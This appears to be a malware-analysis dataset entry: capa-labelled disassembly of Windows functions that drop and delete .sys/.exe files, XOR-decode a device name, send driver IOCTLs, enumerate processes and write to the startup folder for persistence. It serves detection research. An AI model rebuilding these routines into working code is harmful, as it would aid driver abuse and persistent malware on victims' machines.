joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009f260
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r14, [rcx + 0x18]
cmp qword [r14], 7
mov rdi, rcx
mov dword [rsp + 0x60], r15d
jbe 0x14009f291
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x14009f294
mov rsi, r14
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x14009f315
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f309
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f301
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f40b
mov rcx, r8
call fcn.140284104
mov r14, rsi
mov qword [r14], 7
jmp 0x14009f3ed
cmp rbp, 0xffffffffffffffff
jne 0x14009f36b
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f35d
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f358
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f40b
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
xor al, al
jmp 0x14009f3ef
lea r9, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
mov r8d, 0x55c8
mov qword [rsp + 0x20], r15
lea rdx, [0x1406e7180]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
test bl, bl
mov rbx, qword [rsp + 0x68]
je 0x14009f31e
cmp rdx, 7
jbe 0x14009f3e6
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f3e1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f40b
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
mov al, 1
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov word [rdi], r15w
mov qword [rdi + 0x10], r15
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14009f420
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r14, [rcx + 0x18]
cmp qword [r14], 7
mov rdi, rcx
mov dword [rsp + 0x60], r15d
jbe 0x14009f451
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x14009f454
mov rsi, r14
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x14009f4d5
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f4c9
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f4c1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f5cb
mov rcx, r8
call fcn.140284104
mov r14, rsi
mov qword [r14], 7
jmp 0x14009f5ad
cmp rbp, 0xffffffffffffffff
jne 0x14009f52b
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f51d
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f518
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f5cb
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
xor al, al
jmp 0x14009f5af
lea r9, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
mov r8d, 0x103b6d
mov qword [rsp + 0x20], r15
lea rdx, [0x1409cf6e0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
test bl, bl
mov rbx, qword [rsp + 0x68]
je 0x14009f4de
cmp rdx, 7
jbe 0x14009f5a6
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f5a1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f5cb
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
mov al, 1
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov word [rdi], r15w
mov qword [rdi + 0x10], r15
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14009f5e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r14, [rcx + 0x18]
cmp qword [r14], 7
mov rdi, rcx
mov dword [rsp + 0x60], r15d
jbe 0x14009f611
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x14009f614
mov rsi, r14
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x14009f695
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f689
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f681
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f78b
mov rcx, r8
call fcn.140284104
mov r14, rsi
mov qword [r14], 7
jmp 0x14009f76d
cmp rbp, 0xffffffffffffffff
jne 0x14009f6eb
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x14009f6dd
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f6d8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f78b
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
xor al, al
jmp 0x14009f76f
lea r9, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
mov r8d, 0x21a00
mov qword [rsp + 0x20], r15
lea rdx, [0x1407c1060]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
test bl, bl
mov rbx, qword [rsp + 0x68]
je 0x14009f69e
cmp rdx, 7
jbe 0x14009f766
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14009f761
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14009f78b
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140284104
mov qword [rsi], 7
mov al, 1
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov word [rdi], r15w
mov qword [rdi + 0x10], r15
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14009f7a0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor edi, edi
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], rdi
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.58555qeghqqegq.sys
lea rcx, [rbp - 0x49]
call fcn.1400d6ba0
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 9]
call fcn.14009ef20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x2f], rdi
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.58555qeghqqegq.exe
lea rcx, [rbp + 0x17]
call fcn.1400d6ba0
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x29]
call fcn.14009ef20
nop
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
mov rcx, rax
call fcn.14009f260
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
mov rcx, rax
call fcn.14009f5e0
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
nop
lea rax, [rbp + 0x17]
mov qword [rbp + 0x67], rax
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 0x17]
call fcn.1400ce660
mov rbx, rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x37]
call fcn.1400ce660
nop
mov rdx, rbx
mov rcx, rax
call fcn.14009f150
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 7
cmova rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x29]
cmp qword [rbp - 0x11], 7
cmova rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 7
jbe 0x14009f900
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009f8fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009f8fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x14009f943
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009f93e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009f93e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
movdqa xmm0, xmmword [0x140333fd0]
movdqu xmmword [rbp - 0x19], xmm0
mov word [rbp - 0x29], di
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x14009f997
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009f992
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009f992
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14009f9b0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor edi, edi
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], rdi
mov r8d, Ordinal_26
lea rdx, str.5855efwefq5qeghqqegq.sys
lea rcx, [rbp - 0x49]
call fcn.1400d6ba0
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 9]
call fcn.14009ef20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x2f], rdi
mov r8d, Ordinal_26
lea rdx, str.58555qqefqefeghqqegq.exe
lea rcx, [rbp + 0x17]
call fcn.1400d6ba0
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x29]
call fcn.14009ef20
nop
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
mov rcx, rax
call fcn.14009f420
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
mov rcx, rax
call fcn.14009f5e0
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x49]
call fcn.1400ce660
nop
lea rax, [rbp + 0x17]
mov qword [rbp + 0x67], rax
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 0x17]
call fcn.1400ce660
mov rbx, rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x37]
call fcn.1400ce660
nop
mov rdx, rbx
mov rcx, rax
call fcn.14009f150
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 7
cmova rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x29]
cmp qword [rbp - 0x11], 7
cmova rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 7
jbe 0x14009fb10
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009fb0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009fb0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x14009fb53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009fb4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009fb4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
movdqa xmm0, xmmword [0x140333fd0]
movdqu xmmword [rbp - 0x19], xmm0
mov word [rbp - 0x29], di
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x14009fba7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009fba2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009fba2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140284104
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14009fc90
Capabilities:
Interact with driver via ioctl

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x60
xor r9d, r9d
mov eax, r8d
cmp byte [0x140de7f9b], r9b
lea rdi, [rsp + 0x68]
mov rbx, qword [rdi]
lea r8, [r11 - 0x28]
mov qword [rdi], r9
mov qword [r11 - 0x30], r9
mov qword [r11 - 0x38], r9
mov qword [r11 - 0x10], rax
mov eax, dword [0x140de803c]
mov dword [r11 - 0x40], r9d
mov dword [r11 - 0x24], r9d
mov qword [r11 - 0x20], rcx
mov rcx, qword [0x140de8068]
mov qword [r11 - 0x18], rdx
mov edx, 0x2224a8
mov qword [r11 - 0x48], r9
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x40], eax
jne 0x14009fcfb
mov edx, 0x17fe810
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x70]
setne al
add rsp, 0x60
pop rdi
ret

Function at 0x14009fd20
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x260
lea r14, [rsp + 0x268]
mov rdi, rcx
mov rsi, qword [r14]
xor edx, edx
mov ecx, 2
mov qword [r14], 0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14009fda4
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x14009fdcc
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14009fd80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x260]
mov qword [r14], rsi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x140de803c], eax
jmp 0x14009fdaf
Function at 0x14009fde0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
movups xmm0, xmmword [0x140331d10]
movzx eax, word [0x140331d38]
lea rdi, [rsp + 0x98]
mov rbx, qword [rdi]
xor r9d, r9d
movups xmm1, xmmword [0x140331d20]
mov qword [rdi], r9
mov word [rsp + 0x78], ax
movzx eax, byte [0x140331d3a]
mov byte [rsp + 0x7a], al
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140331d30]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
test al, al
je 0x14009ffdf
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r9d
jl 0x14009ff96
movdqa xmm0, xmmword [0x140334320]
lea rdx, [rsp + 0x54]
movdqa xmm4, xmmword [0x140334180]
movdqa xmm3, xmmword [0x1403345f0]
movdqa xmm5, xmmword [str.::::epph__wepbqT]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [rsp + 0x80], xmm6
movdqa xmm6, xmmword [0x140334260]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x28
jl 0x14009fea0
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x2b
jge 0x14009ffdf
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x2b
jl 0x14009ffb0
mov qword [rsp + 0x30], r9
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], r9d
mov edx, 0xc0000000
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140de8068], rax
dec rax
cmp rax, 0xfffffffffffffffd
mov qword [rdi], rbx
mov rbx, qword [rsp + 0xa0]
setbe al
add rsp, 0x90
pop rdi
ret
Function at 0x1400b1750
Capabilities:
Interact with driver via ioctl

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x60
xor edx, edx
mov byte [rsp + 0x70], 0
cmp byte [0x140de7f9b], dl
lea rax, [rcx + 0x120]
mov rcx, qword [0x140de8068]
lea rbx, [rsp + 0x68]
mov rdi, qword [rbx]
lea r8, [r11 - 0x28]
mov qword [rbx], rdx
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x44], edx
mov qword [r11 - 0x30], rdx
mov qword [r11 - 0x20], rax
lea rax, [r11 + 8]
mov qword [r11 - 0x38], rdx
mov qword [r11 - 0x18], rax
mov eax, dword [0x140de803c]
mov dword [rsp + 0x28], edx
mov qword [r11 - 0x10], 1
mov qword [r11 - 0x48], rdx
mov edx, 0x2224a8
mov dword [rsp + 0x40], eax
jne 0x1400b17ca
mov edx, 0x17fe810
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rbx], rdi
movzx eax, byte [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
shr al, 1
not al
and al, 1
add rsp, 0x60
pop rdi
ret
Function at 0x1400bd810
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
mov byte [rsp + 0x20], 0
mov dword [rsp + 0x30], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400bd881
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400bd881
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400bd87f
mov byte [rsp + 0x20], 1
jmp 0x1400bd84f
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
add rsp, 0x278
ret

Function at 0x1400bde00
Capabilities:
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x208
mov dword [rsp + 0x5c], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400bde4b
xor al, al
jmp 0x1400bdfd6
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xd0]
call fcn.1400979d0
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea r8, [0x140330908]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.1400d5380
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov r8, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x90]
call fcn.1400d5830
nop
lea rcx, [rsp + 0xb0]
call fcn.140097940
nop
lea rcx, [rsp + 0xd0]
call fcn.140097940
nop
lea rcx, [rsp + 0x90]
call fcn.140097930
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x1400bdf37
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x90]
call fcn.140097940
movzx eax, byte [rsp + 0x40]
jmp 0x1400bdfd6
mov rcx, qword [rsp + 0x218]
call fcn.1400ce560
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x218]
call fcn.140097930
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x60]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x1400bdfb3
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x41], 0
lea rcx, [rsp + 0x90]
call fcn.140097940
movzx eax, byte [rsp + 0x41]
jmp 0x1400bdfd6
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x90]
call fcn.140097940
movzx eax, byte [rsp + 0x42]
add rsp, 0x208
ret
Function at 0x1400bec50
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1400bec9e
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.1400979d0
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
jmp 0x1400becbf
lea rdx, str.Unknown
mov rcx, qword [rsp + 0x50]
call fcn.1400979d0
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x1400c39e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
lea rax, [rsp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x88]
lea rcx, str._BSTU
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov eax, 1
imul rax, rax, 9
mov rcx, qword [rsp + 0x38]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400c3a4e
mov dword [rsp + 0x30], 1
jmp 0x1400c3a56
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
movzx eax, al
test eax, eax
je 0x1400c3ac0
mov dword [rsp + 0x24], 0
jmp 0x1400c3a7f
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xa
jge 0x1400c3ac0
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x38]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x24]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x48]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], al
jmp 0x1400c3a75
